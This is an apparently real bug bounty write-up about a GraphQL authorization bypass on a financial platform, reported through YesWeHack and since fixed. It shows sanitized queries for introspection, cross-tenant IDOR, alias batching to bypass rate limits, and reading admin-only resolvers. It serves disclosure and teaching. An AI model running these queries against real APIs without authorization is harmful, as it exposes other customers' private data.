HIGH CVSS: 8.2 ACCEPTED API Security

GraphQL Authorization Bypass via Alias Batching & Resolver Enumeration

Exploited enabled GraphQL introspection to enumerate hidden resolvers, then leveraged alias batching to bypass per-query rate limiting and authorization checks, gaining unauthorized access to cross-tenant customer data.

Platform
YesWeHack
Program
Private Program
Target
Financial Platform
Read Time
15 min

Attack Chain 6 stages

1
GraphQL Endpoint Discovery
2
Introspection Query
3
Schema & Resolver Mapping
4
Cross-Tenant IDOR
5
Alias Batching Bypass
6
Admin Resolver Access

Disclosure Timeline

2025-03-28 Target identified, initial recon started
2025-03-29 GraphQL introspection found enabled in production
2025-03-30 Resolver enumeration completed, hidden queries found
2025-04-01 Authorization bypass via alias batching confirmed
2025-04-02 Cross-tenant data access validated
2025-04-03 Report submitted via YesWeHack
2025-04-05 Triaged as High severity
2025-04-18 Report accepted, fix deployed

Reconnaissance

Intercepted API traffic via Burp Suite. Identified a single /graphql endpoint handling all data queries. Tested for introspection availability.

Vulnerability Discovery

GraphQL introspection was enabled in production, exposing the full schema including hidden admin-only queries and mutations.

GraphQL Resolver Mapping

customer(id) → Customer data (should be tenant-scoped)
invoices(customerId) → Invoice records
internalNotes(ticketId) → Support notes (admin-only)
auditLog(userId) → Activity logs (admin-only)
configSettings → Platform configuration (admin-only)

Payload Analysis

All payloads below are sanitized proof-of-concept examples. No active exploitation code is shown.

Step 1: Introspection query to map schema
✓ SUCCESS
query IntrospectionQuery {
  __schema {
    queryType { name }
    types {
      name
      fields { name type { name } }
    }
  }
}
NOTE: Full schema returned — 47 types, 12 hidden queries discovered
Step 2: Single customer query (tenant-scoped)
✓ SUCCESS
query {
  customer(id: "CUST-REDACTED-001") {
    id
    email
    plan
  }
}
NOTE: Returns data for own tenant — expected behavior
Step 3: Cross-tenant access attempt
⚡ BYPASSED
query {
  customer(id: "CUST-REDACTED-099") {
    id
    email
    plan
  }
}
NOTE: Returns data from a different tenant — IDOR confirmed
Step 4: Alias batching for mass enumeration
⚡ BYPASSED
query {
  a1: customer(id: "CUST-REDACTED-001") { id email }
  a2: customer(id: "CUST-REDACTED-002") { id email }
  a3: customer(id: "CUST-REDACTED-003") { id email }
  a4: customer(id: "CUST-REDACTED-004") { id email }
}
NOTE: All aliases resolved in single request — bypasses per-query rate limiting
Step 5: Accessing admin-only resolvers
⚡ BYPASSED
query {
  internalNotes(ticketId: "TKT-REDACTED") {
    content
    author
    createdAt
  }
}
NOTE: Admin resolver accessible without admin role — broken access control

Chaining Strategy & Escalation

Combined introspection exposure + IDOR + alias batching + broken access control into a chain that allowed: (1) mapping the entire API surface, (2) accessing any customer's data cross-tenant, (3) bulk enumeration via batched queries, (4) reading admin-only internal notes and audit logs.

Impact Assessment

Full customer data exposure across all tenants
Bulk data enumeration via alias batching
Access to admin-only resolvers without authorization
Internal support notes readable by external users
Audit log exposure revealing internal user activity

This case study follows responsible disclosure practices. All sensitive data including endpoints, credentials, customer information, and active exploitation payloads have been redacted or sanitized. The vulnerability was reported through the official bug bounty program and has been resolved.